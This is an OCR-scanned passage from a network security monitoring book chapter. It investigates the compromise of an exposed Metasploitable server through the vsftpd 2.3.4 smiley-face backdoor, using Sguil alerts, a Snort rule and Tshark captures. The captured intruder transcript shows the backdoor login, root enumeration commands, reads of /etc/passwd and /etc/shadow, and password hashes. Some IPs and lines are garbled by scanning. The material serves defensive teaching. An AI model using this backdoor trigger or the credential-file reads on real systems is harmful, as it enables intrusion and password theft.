sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:07 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:23 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:17 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:17 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:17 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:17 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:07 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:17 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-0921:32:17 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:14 — 203.0.113.10 192.168.3.5 


BERRERRRER 





cOooocoocoocoocoocooocoocoocooodmooooooooo 


ocOooocoooonRoon»rouocuuocusb5baiuu--NNNNMNN 
NUNDTSUSE US EUV ERE EWE kERWWe BBB aaaa 














Figure 10-7: Reconnaissance phase 4 ends and phase 5 begins. 


The final phase of the activity begins at 2013-03-09 21:38:38, as shown 
in Figure 10-8. The intruder’s reconnaissance tool has finished gathering 
information, and he pauses to review his results. After discovering a weak- 
ness, he appears to exploit it, although that may not be obvious from the ses- 
sion data shown. (We’ll examine this alert data on the original Sguil console 
for clarification.) For now, review the session records starting at 21:38:38. 

The sessions beginning at 21:38:38 look very different from the earlier 
ones. One of the sessions shows the transfer of a lot of data, involving port 6200 
TCP. Another session (records showing activity involving port 21 TCP) shows 
an active FTP command channel. Having seen five phases of reconnaissance 
from 203.0.113.10, followed by focused activity involving ports 21 and 6200 
TCP, we should take a close look at these last connections. 


Returning to Alert Data 


Let’s examine two alerts in the Sguil console. As shown in Figure 10-9, we 
see two worrisome alerts titled GPL ATTACK_RESPONSE id check returned root 
and ET EXPLOIT VSFTPD Backdoor User Login Smiley. There is also an odd alert 
with the title PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1, and then two 
ICMP alerts. 
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SGUIL-0.8.0 - Connected To localhost 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:39:50 GMT, 


Sancp Query 1 


Close |( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start time as datetime, sancp.end time, INET NTOA(sancp.src ip), sancp.src port, 
= INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX 
port 





Cnx ID S Time dTime 

sovm-eth1 5.1362864... 2013-03-09 21:33:43 2013-03-09 21:33:48 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:47 2013-03-0921:33:57 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:48 2013-03-0921:33:53 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:52 2013-03-09 21:34:02 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:53 2013-03-09 21:33:58 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:57 2013-03-09 21:34:07 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:33:58 2013-03-09 21:34:03 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864. 2013-03-09 21:34:02 2013-03-09 21:34:12 — 203.0.113.10 k 5 

sovm-eth1 . 2013-03-09 21:34:03 2013-03-09 21:34:08 — 203.0.113.10 

sovm-eth1 5 2013-03-09 21:34:07 2013-03-09 21:34:17 203.0.113.10 

sovm-eth1 . 2013-03-09 21:34:08 2013-03-09 21:34:13 — 203.0.113.10 

sovm-eth1 5 2013-03-09 21:34:12 2013-03-09 21:34:22 203.0.113.10 

sovm-eth1 5 2013-03-09 21 2013-03-09 21 203.0.113.10 

sovm-eth1 $ 2013-03-09 21 2013-03-09 21 203.0.113.10 

sovm-eth1 . 2013-03-09 21 2013-03-09 21 203.0.113.10 

sovm-eth1 $ 2013-03-09 21 2013-03-09 21 203.0.113.10 

sovm-eth1 . 2013-03-09 21 2013-03-09 21 203.0.113.10 

sovm-eth1 e 2013-03-09 21 2013-03-09 21 203.0.113.10 192.168.3.5 

sovm-eth1 3 ... 2013-03-09 21:34:18 2013-03-0921:34:18 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:28 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-0921:34:18 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:18 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362864... 2013-03-09 21:34:18 2013-03-09 21:34:48 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-09 21:38:38  203.0.113.10 192.168.3.5 

sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-09 21:43:38 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362865... 2013-03-09 21:38:38 2013-03-0921:47:28 — 203.0.113.10 192.168.3.5 

sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-09 21:46:37 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-0921:46:37 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362865... 2013-03-09 21:46:37 2013-03-09 21:46:40 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362959... 2013-03-10 23:51:31 2013-03-10 23:51:37 — 192.168.3.5 203.0.113.10 


MP U 0 U « Uu OQ uU o Uu «Uu 
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cCoocooodmoooooooococoocooooooooooocoocoo de 
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Dress OBI MM DAAAARAW 


ous 


2013-03-09 21:32:28 — 203.0.113.10 192.168.3.5 
2013-03-09 21:38:38 — 192.168.3.5 203.0.113.10 
2013-03-09 21:38:38 203.0.113.10 50: 192.168.3.5 
2013-03-09 21:42:00 203.0.113.10 192.168.3.5 
2013-03-10 01:59:43 — 203.0.113.77 192.168.3.5 
2013-03-10 01:59:43 203.0.113.77 192.168.3.5 


PADS New Asset - http Apache Coyote 1.1 

GPL ATTACK_RESPONSE id check returned root 
ET EXPLOIT VSFTPD Backdoor User Login Smiley 
PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1 
GPL ICMP INFO PING *NIX 

GPL ICMP INFO PING BSDtype 


6 
6 
6 
6 
6 
i 
d 





M Show Packet Data (v Show Rule 


alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"ET EXPLOIT VSFTPD Backdoor User Login Smiley"; 
[ Reverse DNS | Enable External DNS | | [flow:established,to server; content:"USER "; depth:5; content:"|3a 29|"; distance:0; 

SrcIP: | | |classtype:attempted-admin; sid:2013188; rev:4;) 

eae /nsm/server data/securityonion/rules/sovm-eth1-1/downloaded.rules: Line 10562 


"e 
Dst IP: Source IP DestIP Ver HL TOS len ID Flags Offset TTL ChkSum 
Dst Name: 203.0.113.10 [192.168.3.5 la |5 |o [63 (22333 2 [ea [13128 



































Whois Query: None © SrcIP ^ DstIP UAPRSF 
Source Dest RRRCSSYI 


Pot Port 10GKHTNN  Seq# Ack# Offset Res Window Urp ChkSum 
50376 |21 |. |. |. [xix]. |. |. (3850605801/1889923740|8 — |o |913 [o [49785 


55 53 45 52 20 30 4D 3A 29 OD 0A [USER 0M:).. 




















Search Packet Payload | C Hex @ Text [ NoCase 














Figure 10-9: Snort alert data following reconnaissance alerts 
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I've highlighted the record for the ET EXPLOIT alert because it appears to 
be the most straightforward one, and it uses a fairly familiar protocol: FTP. 
Sguil's Show Packet Data option reveals that the username supplied to the 
FTP server is 0M:), followed by a carriage return (0D) and line feed (0A). (FTP 
ends commands with these characters, meaning they were transmitted by 
the FTP client when the user (or attack tool) entered the FTP username.) 

We can try to generate a transcript for this event by right-clicking the 
Alert ID field and selecting Transcript. The result is shown in Listing 10-2. 


Sensor Name: sovm-eth1-1 

Timestamp: 2013-03-09 21:38:38 
Connection ID: .sovm-eth1-1_6011 

Src IP: 203.0.113.100 (Unknown) 
Dst IP: 192.168.3.50 (Unknown) 
Src Port: 50376 

Dst Port: 218 


OS Fingerprint: 203.0.113.10:50376 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 1 hrs) 
OS Fingerprint: -> 192.168.3.5:21 (link: ethernet/modem) 
DST: 220 (vsFTPd 2.3.4)0 

DST: 

SRC: USER OM:)® 

SRC: 

DST: 331 Please specify the password. 

DST: 

SRC: PASS azzO 

SRC: 

DST: 421 Timeout. @ 

DST: 





Listing 10-2: Transcript of ET EXPLOIT Alert 


This transcript shows 203.0.113.10 6 logging in to the FTP server @ on 
port 21 TCP 6 on 192.168.3.5 ©. The username is 0M:) ©, as noted earlier 
by the Snort alert. The client provides a password of azz @, but no commu- 
nication takes place @. What happened next, and what about the connection 
involving port 6200 TCP? 


Reviewing Full Content Data with Tshark 


In situations like this, I recommend examining the original traffic as 
recorded by the full content data. We're interested in traffic occurring at 
the 2013-03-09 21:38:38 timestamp involving port 21 or 6200 TCP. We can 
read the full content data by looking in the appropriate directory on the 
sensor named sovm and by watching the eth1 interface. We run the 1s com- 
mand to see the name of the full content file available for review, as shown 
in Listing 10-3. 


216 Chapter 10 


$ cd /nsm/sensor data/sovm-eth1/dailylogs/2013-03-09 


$ 1s 
snort. log.1362864654 


$ tshark -n -t ad -r snort.10g.1362864654 tcp.port==21 or tcp.port==6200 





Listing 10-3: Finding the full content data and running Tshark 


We use Tshark because, by default, it displays more protocol-level details, 
making it easier to follow what's happening. Now we'll look at each relevant 
part of these details, section by section. (We begin by ignoring traffic asso- 
ciated with reconnaissance.) 

Listing 10-4 shows the first two packets of interest. 





6589 2013-03-09 21:38:38.159255 203.0.113.100 -» 192.168.3.50 
TCP 74 40206 > 62000 [SYN] Seq=0 Win=14600 Len=0 MSS-1460 
SACK PERM-1 TSval-695390 TSecr-0 WS-16 

6590 2013-03-09 21:38:38.159451 192.168.3.5 -> 203.0.113.10 
TCP 60 6200 > 40206 [RST, ACK]O Seq=1 Ack=1 Win=0 Len=0 





Listing 10-4: 203.0.113.10 tries to connect to port 6200 TCP on 192.168.3.5 but fails. 


In Listing 10-4, 203.0.113.10 6 is trying to connect to port 6200 TCP @ 
on 192.168.3.5 6, but the connection fails because port 6200 TCP is not lis- 
tening. It replies with RST, ACK O. 

Listing 10-5 shows what happens next. 





6591 2013-03-09 21:38:38.160692 203.0.113.100 -> 192.168.3.50 

TCP 74 50376 > 210 [SYN] Seq=0 Win=14600 Len=0 MSS-1460 

SACK_PERM=1 TSval=695390 TSecr=0 WS=16 
6592 2013-03-09 21:38:38.160702 192.168.3.5 -> 203.0.113.10 

TCP 74 21 > 50376 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 

SACK_PERM=1 TSval=276175 TSecr=695390 WS=32 
6593 2013-03-09 21:38:38.161131 203.0.113.10 -> 192.168.3.5 

TCP 66 50376 > 21 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695390 TSecr=276175 
6594 2013-03-09 21:38:38.162679 192.168.3.5 -> 203.0.113.10 

FTP 86 Response: 220 (vsFTPd 2.3.4) 
6595 2013-03-09 21:38:38.163164 203.0.113.10 -> 192.168.3.5 

TCP 66 50376 > 21 [ACK] Seq-1 Ack=21 Win=14608 Len=0 TSval=695391 TSecr-276175 
6596 2013-03-09 21:38:38.164876 203.0.113.10 -> 192.168.3.5 

FTP 77 Request: USER 0M:)O 
6597 2013-03-09 21:38:38.164886 192.168.3.5 -> 203.0.113.10 

TCP 66 21 > 50376 [ACK] Seq-21 Ack=12 Win=5792 Len=0 TSval-276175 TSecr-695391 
6598 2013-03-09 21:38:38.164888 192.168.3.5 -> 203.0.113.10 

FTP 100 Response: 331 Please specify the password. 
6599 2013-03-09 21:38:38.166318 203.0.113.10 -> 192.168.3.5 

FTP 76 Request: PASS azze 





Listing 10-5: 203.0.113.10 logs in to the FTP server at 192.168.3.5. 


Serverside Compromise 217 


In Listing 10-5, we see that 203.0.113.10 € connects to the FTP service 
on port 21 TCP @ on 192.168.3.5 ©. We also see user 0M:) O log in and 
provide the password azz 9. Listing 10-6 shows the consequence of the suc- 
cessful login. 





6600 2013-03-09 21:38:38.166971 203.0.113.100 -» 192.168.3.50 

TCP 74 60155 > 62000 [SYN] Seq=0 Win=14600 Len=0 MSS-1460 

SACK_PERM=1 TSval=695392 TSecr=0 WS=16 

6601 2013-03-09 21:38:38.166978 192.168.3.5 -> 203.0.113.10 

TCP 74 6200 > 60155 [SYN, ACK]O Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 
SACK_PERM=1 TSval=276175 TSecr=695392 WS=32 

6602 2013-03-09 21:38:38.168296 203.0.113.10 -> 192.168.3.5 

TCP 66 60155 > 6200 [ACK] Seq-1 Ack=1 Win=14608 Len=0 TSval=695392 TSecr-276175 
6603 2013-03-09 21:38:38.168738 203.0.113.10 -> 192.168.3.5 

TCP 69 60155 > 6200 [PSH, ACK] Seq=1 Ack=1 Win=14608 Len=3 TSval=695392 TSecr=276175 
6604 2013-03-09 21:38:38.168775 192.168.3.5 -» 203.0.113.10 

TCP 66 6200 > 60155 [ACK] Seq-1 Ack-4 Win=5792 Len=0 TSval=276175 TSecr=695392 
-- snip -- 





Listing 10-6: 203.0.113.10 connects to port 6200 TCP on 192.168.3.5. 


Immediately, before tearing down the connection to the FTP server, 
we see a new connection from 203.0.113.10 6 to port 6200 TCP @ on 
192.168.3.5 ©. This time, unlike in Listing 10-4, port 6200 TCP is listen- 
ing, and it accepts the connection by replying with SYN, ACK @. 

This sequence of events shows that port 6200 TCP was not actively accept- 
ing connections until 203.0.113.10 logged in to the FTP server and provided 
the proper username and password. 


Understanding the Backdoor 


This pattern indicates that the FTP server at 192.168.3.5 was coded with a 
backdoor watching for a certain username and password. In our case, we 
saw user 0M:) and password azz. 

It turns out that 192.168.3.5 was running a version of the vsftpd FTP 
server that contained an unauthorized backdoor, as reported in July 2011 
by vsftpd developer Chris Evans (http://scarybeastsecurity. blogspot.com/2011/07/ 
alert-vsftpd-download-backdoored.himl). No details on how the code was 
backdoored appear in the blog post, but the net effect was availability of 
software that contained a serious security flaw. Users who enter a username 
ending in a smiley face (like :)) will enjoy the ability to connect to a back- 
door on the FTP server. Figure 10-10 summarizes the situation and adds 
specific details for this case. 

Why did the logs show records involving port 6200 TCP before the suc- 
cessful exploitation of the FTP server? As we saw in the full content data 
rendered by Tshark, the FTP connection happened before the backdoor 
connection. Apparently, the tools used to log the alert and session data 
couldn't differentiate between the start times for these connections, and 
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they logged them out of order. This happens occasionally when performing 
NSM. This phenomenon helps support the idea of collecting multiple NSM 
datatypes. When something doesn't look quite right, you can compare dif- 
ferent datatypes to better determine what really happened. 


1. Intruder initiates attack against exposed, 
vulnerable application on victim system. 


NETWORK CONNECTION to port 21 TCP 


Intruder Victim 
203.0.113.10 192.168.3.5 


2. Attack method exploits vulnerable application 
on victim system to execute code or commands. 


user OM: ) 
pass azz 





NETWORK CONNECTION to port 6200 TCP 


Intruder Victim 
203.0.113.10 192.168.3.5 


3. Malicious code interacts with intruder: 
Intruder initiates new connection to 
backdoor created by malicious code. 


Figure 10-10: Server-side attack involving exploitation of vulnerable vsftpd server 


What Did the Intruder Do? 


Having confirmed that a malicious act took place, we need to understand 
its impact. This scenario appears to be at least a Breach 3 incident, because 
an intruder has established a C2 channel from his computer to the victim. 
How can we find out how bad things are? 

We’ve seen a GPL ATTACK_RESPONSE alert indicating id check returned root. 
We also know that port 6200 TCP is the C2 channel. We might be able to 
learn what the intruder is doing by generating a transcript for this connec- 
tion, either through the GPL ATTACK_RESPONSE alert or by using the session 
data from 203.0.113.10 to port 6200 TCP on 192.168.3.5. We can examine 
the contents of that session in detail by generating a transcript, as you'll see 
in the following section. This examination should give us a better sense of 
what the intruder is doing. 


Initial Access 


The transcript for activity from 203.0.113.10 to 192.168.3.5, shown in 
Listing 10-7, shows a variety of events. We can't be sure if an intruder is 
interacting with the system in a live manner or if he is executing an auto- 
mated attack. What matters, though, are the consequences of the activities. 
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Sensor Name: sovm-eth1-1 


Timestamp: 2013-03-09 21:38:38 
Connection ID: .sovm-ethi-1 6012 

Src IP: 203.0.113.100 (Unknown) 
Dst IP: 192.168.3.5@ (Unknown) 
Src Port: 60155 

Dst Port: 6200 


OS Fingerprint: 203.0.113.10:60155 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 1 hrs) 
OS Fingerprint: -> 192.168.3.5:6200 (link: ethernet/modem) 


SRC: ide 

DST: uid=0(root) gid=0(root) @ 

SRC: nohup >/dev/null 2»81 

SRC: echo T33KwxKuFgj4Uhy7 

DST: 133KwxKuFgj4Uhy7 

SRC: whoami® 

DST: root® 

SRC: echo 3816568630;echo hJZeerbzDFqlJEwWxlyePwOzBhEhOYbN 
DST: 3816568630 

DST: hJZeerbzDFqlJEwWxlyePwOzBhEhOYbN 

SRC: id -u@ ;echo idGIIxVuiPbrznIwlhwdADqMpAAyLI1j® 
DST: 00 

DST: idGIIxVuiPbrznIwlhwdADqMpAAyLI1j 





Listing 10-7: The beginning of the transcript showing activity from 203.0.113.10 to 192.168.3.5 


The first part of the transcript shows 203.0.113.10 @ as the source (SRC) 
IP address, and 192.168.3.5 @ as the destination (DST) IP address. The 
intruder, or code executed by the intruder, runs the Unix id command ® 
to determine the privileges that the channel currently provides. The result 
indicates that this is a root-level account @. We see confirmation of the user 
account with the whoami command € and its corresponding result: root @. 
Now, using the id command with the -u switch @, the intruder sees the effec- 
tive user ID of 0 6, which is again associated with root access. The intruder 
or his script appears to be using echo statements with long strings 6 to mark 
certain places in the flow of activity on the system. 


Enumerating the Victim 


The transcript continues as shown in Listing 10-8. After running some basic 
commands, the intruder spends more time learning about the victim. 





SRC: /usr/sbin/dmidecode® ;echo WqyRBNDvoqzwtPMOWXAZNDHVcqKr j VOA 
DST: # dmidecode 2.9 

DST: SMBIOS 2.4 present. 

DST: 364 structures occupying 16040 bytes. 

DST: Table at Ox000E0010. 

-- snip -- 

DST: Handle 0x016B, DMI type 127, 4 bytes 

DST: End Of Table 

DST: WqyRBNDvogzwtPMOWXAZNDHVcqKrjVOA 
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SRC: ls /etcO ;echo PZhfAinSgdJcyhYaCgAcFDjvciEFALXs 

DST: X11 

DST: adduser.conf 

DST: adjtime 

DST: aliases 

DST: aliases.db 

-- snip -- 

DST: wgetrc 

DST: wpa supplicant 

DST: xinetd.conf 

DST: xinetd.d 

DST: zsh command not found 

DST: PZhfAinSgdJcyhYaCgAcFDjvciEFALXs 

SRC: uname -a® ;echo gSOsJbnmNmNLEqEILTNRfxfLUONndGaS 

DST: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 
1686 GNU/LinuxO 

DST: gSOsJbnmNmNLEqEILTNRfxfLUONndGaS 

SRC: cat '/etc/issue'G;echo KoDdtYNGyWHGPIKkHITZtMAYrhsycklIC 
DST: 


DST — —— RN E 
DST: | ' ^ N/7 N 74727 | 1 MM MEL 7DI'M PLN 9I 
DST: LI DEN FT LOTES T ETEUGUIL LEM T, amr e 
DST: [L Mel ME M c NL 2 NON ENTRO 
DST: |_| 


DST: Warning: Never expose this VM to an untrusted network! 
DST: Contact: msfdev[at]metasploit.com 

DST: Login with msfadmin/msfadmin to get startedO 

DST: KoDdtYNGyWHGPIKHITZtMAYrhsyckIIC 

SRC: hostname@;echo SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPO 

DST: metasploitable 

DST: SBRTSpmkeFZNpuHOMmcOUhMbnPnbNWPO 





Listing 10-8: Victim enumeration 


The intruder, or his script, enumerates various aspects of the victim 
system. He begins with the dmidecode command 6 to learn more about the 
platform itself. Next, he retrieves a directory listing of /etc @, where many 
key system configuration files reside. Using the uname command 6, he dis- 
covers which kernel version @ the system is running. Displaying the con- 
tents of the issue file shows text that appears after a user logs in @. Finally, 
the intruder reads the victim’s hostname @. The host system is running 
a Linux distribution called Metasploitable, which is a tool used to learn 
digital attack and defense, developed by the Metasploit team at Rapid7 
(hitp://sourceforge.net/projects/metasploitable/files/Metasploitable2/). Defenders 
use Metasploitable for training when performing security assessments 
because Metasploitable has nothing but vulnerabilities—making it perfect 
for anyone who wants to test the effectiveness of detection systems. 

Apparently someone working at Vivian’s Pets downloaded Metasploitable, 
installed it on the test network, and left it exposed to the Internet. An intruder 
from IP address 203.0.113.10 found the computer, exploited the vulnerable 
vsftpd server on it, and enumerated key aspects of the computer. 
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Accessing Credentials 


In the last part of the transcript, the intruder turns to files where user cre- 
dentials are stored, as shown in Listing 10-9. 





SRC: cat '/etc/passwd'@;echo nRVObgMSefnPCAljlfCKrtCxyxAFwbXo 
SRC: 

DST: root:x:0:0:root@:/root:/bin/bash 

DST: daemon:x:1:1:daemon:/usr/sbin:/bin/sh 

DST: bin:x:2:2:bin:/bin:/bin/sh 

DST: sys:x:3:3:sys:/dev:/bin/sh 

DST: sync:x:4:65534:sync:/bin:/bin/sync 

-- snip -- 

DST: 

DST: nRVObgMSefnPCA1jIFCKrtCxyxAFwbXo 

SRC: cat '/etc/shadowO ' ;echo YMIULmTNrfStudFPMoeddbhSAwYHGUKY 
DST: root:$1$/avpfBJ1$xOz8W5UFO9Iv./DR9E9Lid. :14747:0:99999:7:::0 
DST: daemon:*:14684:0:99999:7::: 

DST: bin:*:14684:0:99999:7::: 

DST: sys:$1$fUXGBPOt$Miyc3Up0OzOJqz4s5wFD910:14742:0:99999:7::: 
DST: sync:*:14684:0:99999:7::: 

-- snip -- 

DST: 

DST: CKNszVzdeRiiApmbrdHsuAolRXRtIFfF 

SRC: ping -c 1 www.google.com 

SRC: 

SRC: pwd 

SRC: 

DST: ping: unknown host www.google.comO 

DST: 





Listing 10-9: Viewing the /etc passwd and /etc/shadow files 


In the final part of the transcript, the intruder displays the contents of 
two key system files: /etc/passwd ® and /etc/shadow 9. The /etc/passwd file con- 
tains information about users, such as root 6, and the /etc/shadow file stores 
hashes of the users’ passwords O. The transcript ends with the intruder or his 
script trying to ping www.google.com ®, which fails @. 

Itis disturbing to see the intruder list the /etc/passwd and /etc/shadow 
files containing usernames and hashed passwords for the system. If he breaks 
those passwords, he can access the system directly, rather than needing to 
break into it using an exploit. 

We now understand a good deal about this case, but is that the end of 
the story? 


What Else Did the Intruder Do? 


In order to determine a bit more about what happened, we need to take 
a closer look at two other aspects of this case. First, notice in Figure 10-8 
that 192.168.3.5 wasn't the only target of 203.0.113.10. We also see activity 


involving ports 21 and 6200 TCP to 192.168.3.13. We generate a transcript 
for port 21 TCP to see what happened to 192.168.3.13. Listing 10-10 shows 





the result. 
Sensor Name: sovm-eth1 
Timestamp: 2013-03-09 21:46:37 
Connection ID: .sovm-eth1_1362865597000002352 
Src IP: 203.0.113.10 (Unknown) 
Dst IP: 192.168.3.130 (Unknown) 
Src Port: 49220 
Dst Port: 210 


OS Fingerprint: 203.0.113.10:49220 - UNKNOWN [$10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 2 hrs) 
OS Fingerprint: -> 192.168.3.13:21 (link: ethernet/modem) 


DST: 220 (vsFTPd 2.3.5)® 

DST: 

SRC: USER 1dxF:)® 

SRC: 

DST: 331 Please specify the password. 
DST: 

SRC: PASS OibjZ 

SRC: 

DST: 530 Login incorrect.® 

DST: 

DST: 500 OOPS: 

DST: vsf_sysutil_recv_peek: no data 
DST: 





Listing 10-10: Transcript of FTP connection from 203.0.113.10 to 192.168.3.13 


We can see that the intruder tried the same smiley face attack 6 against 
an FTP server @ and ® on 192.168.3.13 O, but that he received a rude Login 
incorrect error © in return. The attack failed. Furthermore, according to 
the NSM session data, no connections were made to port 6200 TCP on 
192.168.3.13, which tells us that 192.168.3.13 was not affected by this attack. 

Now we must determine what else may have happened to 192.168.3.5. 
We saw the intruder connect to the FTP server and interact with a back- 
door. Did he do anything beyond that? To answer this question, we run a 
new session data query for all sessions involving the victim 192.168.3.5, as 
shown in Listing 10-11. The results are shown in Figure 10-11. 





WHERE sancp.start time > '2013-03-09' AND sancp.src ip = INET_ 
ATON('192.168.3.5') AND dst port!-137 AND dst port!-138 





Listing 10-11: Search syntax for session data involving 192.168.3.5 


When running this query, I added commands to ignore ports 137 and 
138 because when I first reviewed the data, I saw many irrelevant session 
records for these Windows services. Because they are not germane to this 
incident, I've removed them from the output shown in Figure 10-11. 
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= SGUIL-0:8:0- Connected To localhost 2 aJ 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 21:42:34 GMT 
Close INDEX (p. key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src ip = INET_ATON('192.168.3.5') and ^ Submit | 
dst port!-137 and dst_port!=138 ) UNION ( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start time as datetime, sancp.end time, 
Export [INET NTOA(sancp.src ip), sancp.src port, INET NTOA(sancp.dst ip), sancp.dst port, sancp.ip proto, sancp.src pkts, sancp.src bytes, sancp.dst pkts, y Edit 
Sens [ D t Time End Time Src IP SPort Dst IP DPort | Pr SP ) Pc. | 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 — 203.0.113.10 395 192.168.3.5 111 6 6 244 4 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18  203.0.113.10 497 192.168.3.5 2049 6 6 244 4 | 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 524 192.168.3.5 513 6 3 148 3 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 647 192.168.3.5 2049 6 8 352 5 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 683 192.168.3.5 2049 6 8 352 5 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 719 192.168.3.5 111 6 6 244 4 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:48 203.0.113.10 853 192.168.3.5 1524 6 FA 252 5 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 916 192.168.3.5 111 6 6 244 4 [ 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 927 192.168.3.5 111 6 6 244 4 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:18 203.0.113.10 997 192.168.3.5 2049 6 8 352 5 
sovm-eth1 5.1362864858000002... 2013-03-09 21:34:18 2013-03-09 21:34:23 192.168.3.5 48092 192.168.3.1 53 12202 102 0 
sovm-eth1 5.1362865118000002... 2013-03-09 21:38:38 2013-03-09 21:38:38  203.0.113.10 40206 192.168.3.5 6200 6 1 40 1 i 
sovm-eth1 5.1362865118000002... 2013-03-09 21:38:38 2013-03-09 21:43:38 203.0.113.10 50376 192.168.3.5 21 6 8 261 8 
sovm-eth1 5.1362865118000002... 2013-03-09 21:38:38 2013-03-09 21:47:28 203.0.113.10 60155 192.168.3.5 6200 6 1317 65447 1449|. 
sovm-eth1 5.1362865235000002... 2013-03-09 21:40:35 2013-03-09 21:40:40 192.168.3.5 60307 192.168.3.1 53 mT 2 100 0 
sovm-eth1 5.1362865628000002...  2013-03-0921:47:08 2013-03-09 21:47:13 192.168.3.5 36911 192.168.3.1 53 7 2 80 0 
sovm-eth1 5.1362865638000002...  2013-03-0921:47:18 2013-03-09 21:47:23 192.168.3.5 49467 192.168.3.1 53 T 2: 104 0 
sovm-eth1 5.1362880783000002... 2013-03-10 01:59:43 2013-03-10 02:00:43 203.0.113.77 0 192.168.3.5 0 1 2 128 2 
sovm-eth1 5.1362880870000002... 2013-03-10 02:01:10 ^ 2013-03-10 02:03:24  203.0.113.77 65438 192.168.3.5 22 6 309 19145 207 
sovm-eth1 5.1362880872000002... 2013-03-10 02:01:12 2013-03-10 02:01:17 192.168.3.5 51268 192.168.3.1 53 T2 102 0 
sovm-eth1 5.1362880970000002... 2013-03-10 02:02:50 2013-03-10 02:03:15 192.168.3.5 32904 203.0.113.4 21 6 23 878 17 
